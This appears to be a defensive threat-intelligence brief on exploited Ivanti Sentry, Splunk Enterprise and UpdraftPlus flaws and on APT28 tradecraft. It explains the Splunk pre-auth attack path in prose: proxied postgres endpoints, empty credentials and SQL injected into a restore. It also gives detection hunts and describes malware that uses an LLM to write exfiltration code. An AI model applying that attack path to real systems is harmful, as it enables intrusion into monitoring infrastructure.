CTI Daily Brief — 2026-06-14

• Ivanti Sentry CVE-2026-10520 (CVSS 10.0, pre-auth OS command injection) is being exploited in the wild — Shadowserver confirmed at least two internet-exposed gateways were backdoored shortly after the public PoC. CISA added it to KEV on 11–12 June; Swiss/EU public-sector MDM estates running Sentry ≤ R10.5.1 / ≤ R10.6.1 / ≤ R10.7.0 must patch and compromise-assess now (Security Affairs, 2026-06-11). See § 0 callout and § 4.
• Splunk Enterprise pre-auth RCE (CVE-2026-20253, CVSS 9.8) — your SIEM is the target. watchTowr detailed an unauthenticated path that proxies an internal PostgreSQL-sidecar REST API with empty credentials, reaching code execution during a crafted backup/restore; Splunk-on-AWS is vulnerable out of the box (watchTowr Labs, 2026-06-12). See § 5.
• UpdraftPlus WordPress backup plugin (CVE-2026-10795, CVSS 8.1) — unauthenticated auth-bypass to RCE, 3 M+ installs. A failed-RSA-decrypt collapse to an all-zero AES key lets an unauthenticated attacker forge RPC commands and upload a plugin for RCE; Wordfence shipped firewall-rule protection to customers ahead of broad disclosure and the exploitation mechanism is public (WPScan, 2026-06-11). Patch to 1.26.5. See § 2.
• APT28 (GRU Unit 26165) tradecraft has moved to LLM-driven and cloud-native evasion. Sekoia documents LameHug — the first APT28 stealer that generates exfiltration code at runtime via a hosted LLM — plus BeardShell C2 over consumer cloud-storage providers and the FrostArmada SOHO-router DNS-hijack AiTM campaign against Microsoft 365 (Sekoia TDR, 2026-06-11). See § 3.
• EU ran Cyber Europe 2026 and activated the Cybersecurity Reserve for the first time; Switzerland participated as a partner country. The exercise tested the 2025 EU Cyber Blueprint against a cross-border rail/maritime OT crisis scenario (ENISA, 2026-06-11). See § 1.

Immediate Action — patch Ivanti Sentry now and hunt for an implanted gateway. CVE-2026-10520 is an unauthenticated CVSS 10.0 OS command-injection in the Ivanti Sentry MICS interface that yields root on the appliance; shortly after watchTowr's public proof-of-concept the Shadowserver Foundation observed mass exploitation attempts and confirmed at least two of the then-19 internet-exposed instances had already been backdoored (Security Affairs, 2026-06-11; CERT-EU 2026-008, 2026-06-10). A root compromise of Sentry exposes every mailbox, calendar and enterprise application the gateway brokers. Upgrade to R10.5.2 / R10.6.2 / R10.7.1 immediately, restrict the MICS listener to management networks, and treat any internet-reachable instance as presumed-compromised — audit for unexpected cron entries, authorized_keys changes and anomalous children of the MICS Java process before declaring it clean.

The uncomfortable angle on this one is that the vulnerable software is the tool many readers use to find intrusions. CVE-2026-20253 (CVSS 9.8, CWE-306 Missing Authentication for Critical Function) is an unauthenticated remote code execution flaw in Splunk Enterprise, disclosed in Splunk's advisory SVD-2026-0603 on 10 June and dissected by watchTowr Labs on 12 June (Splunk SVD-2026-0603, 2026-06-10; watchTowr Labs, 2026-06-12). It affects Splunk Enterprise 10.0.0–10.0.6 and 10.2.0–10.2.3.

The mechanism. Recent Splunk Enterprise ships a PostgreSQL sidecar service (the splunk-postgres component) that exposes a Go-based REST API on loopback port 5435 — including /v1/postgres/recovery/backup and /v1/postgres/recovery/restore endpoints — and that internal API performs no authentication, on the assumption that only loopback callers can reach it (watchTowr Labs, 2026-06-12). The flaw is that Splunk's main web tier proxies those same endpoints outbound, at paths under /en-US/splunkd/__raw/v1/postgres/, so an external client can reach the no-auth database API by sending empty Basic credentials. From there an attacker writes attacker-controlled files into the sidecar's runtime directory and injects SQL into a crafted backup/restore payload, achieving code execution during the database restore step. watchTowr reports that Splunk Enterprise on AWS is vulnerable in its default configuration because the PostgreSQL sidecar is enabled out of the box, whereas on-premises Windows installs are exposed only where the sidecar has been explicitly enabled (watchTowr Labs, 2026-06-12).

Why the "loopback is safe" assumption fails. The root cause is a trust boundary that exists in the developers' mental model but not in the deployed architecture: the database API trusts the network (loopback-only) instead of the caller, and a second component (the web proxy) silently bridges that network gap. This is the recurring pattern watchTowr highlights — app-level auth was skipped because "the database has auth," but the proxy made the database reachable without it. The mapping is straightforward: T1190 (Exploit Public-Facing Application) for the initial unauthenticated reach, leading to execution on the host (T1059 Command and Scripting Interpreter). Because Splunk frequently runs with high privilege and aggregates logs from across the estate, a compromised indexer or search head is both an execution foothold and a route to the organisation's centralised security telemetry — an attacker who owns the SIEM can read what defenders see and potentially tamper with it.

Hunt and detection concepts. Splunk logs its own HTTP access, so the highest-value hunt is in _internal / the splunkd_access data: look for requests to /en-US/splunkd/__raw/v1/postgres/ paths, especially recovery/backup and recovery/restore, and for requests carrying empty or anonymous Basic-auth credentials from non-loopback source addresses. Unexpected PostgreSQL backup/restore operations in Splunk's operational logs outside a defined maintenance window are a second signal. On the host, watch for child processes spawned by the Splunk service account that are inconsistent with normal operation (shells, interpreters), and for new files appearing under the sidecar's pkg-run runtime path. Because this is the monitoring platform itself, forward Splunk's own access and audit logs to an independent collector so that a post-compromise log wipe on the box does not also erase the evidence of the intrusion.

Hardening and remediation. Upgrade to a fixed release — 10.4.0, 10.2.4 or 10.0.7 (Splunk SVD-2026-0603, 2026-06-10) — and prioritise internet-facing and AWS-hosted deployments, the latter because watchTowr reports the sidecar is enabled there by default. On on-premises installs that do not need the PostgreSQL sidecar, confirm it is disabled and stays disabled after the upgrade. Network-side, no Splunk management or web interface should be exposed to the internet; restrict it to administrative networks and place it behind authenticated access controls. There is no reported in-the-wild exploitation at the time of writing, but a public technical analysis of a pre-auth RCE in a widely deployed SIEM closes the gap between disclosure and weaponisation quickly — treat this as an urgent change, not a routine one.

• Patch internet-exposed Ivanti Sentry now and compromise-assess — do not just patch (CVE-2026-10520). Upgrade to R10.5.2 / R10.6.2 / R10.7.1, restrict the MICS listener to management networks, and because exposed gateways are confirmed backdoored, audit for persistence (unexpected cron entries, authorized_keys changes, anomalous children of the MICS Java process) before declaring any instance clean. Pre-auth CVSS 10.0 RCE with confirmed in-the-wild backdooring. See § 0 and § 4.
• Upgrade Splunk Enterprise to 10.4.0 / 10.2.4 / 10.0.7, AWS-hosted instances first (CVE-2026-20253). Pre-auth RCE via the default-enabled PostgreSQL sidecar proxy; ensure no Splunk web/management interface is internet-facing, confirm the sidecar stays disabled on on-prem installs that don't use it, and forward Splunk's own access logs off-box. Hunt /en-US/splunkd/__raw/v1/postgres/ requests with empty Basic-auth from non-loopback sources. See § 5.
• Update UpdraftPlus to 1.26.5 across all WordPress estates and disable unused UpdraftCentral/Migrator keys (CVE-2026-10795). Unauthenticated auth-bypass to RCE on 3 M+ installs; the exploitation mechanism is public and Wordfence has shipped preventive rules. Hunt for plugin upload/activation outside change windows and udrpc_message POSTs to admin-ajax.php. See § 2.
• Hunt for APT28's current evasion classes (no IOCs required). Alert on cloud-storage beaconing to Koofr/Icedrive/Filen from non-user workstations, outbound traffic to Hugging Face inference endpoints from Windows hosts, MikroTik/TP-Link DNS-setting changes in device logs, and Office documents delivered via Signal Desktop that lack the Mark-of-the-Web (an APT28 Office-lure delivery path). See § 3.
• Audit removable backup-media controls. Verify backup media leaving server rooms is encrypted at rest, asset-tagged and access-logged — the Kyushu Electric loss (10.9 M records, unencrypted SSD) is a NIS2 Article 21(2)(h)-class failure with no remote attacker. See § 1.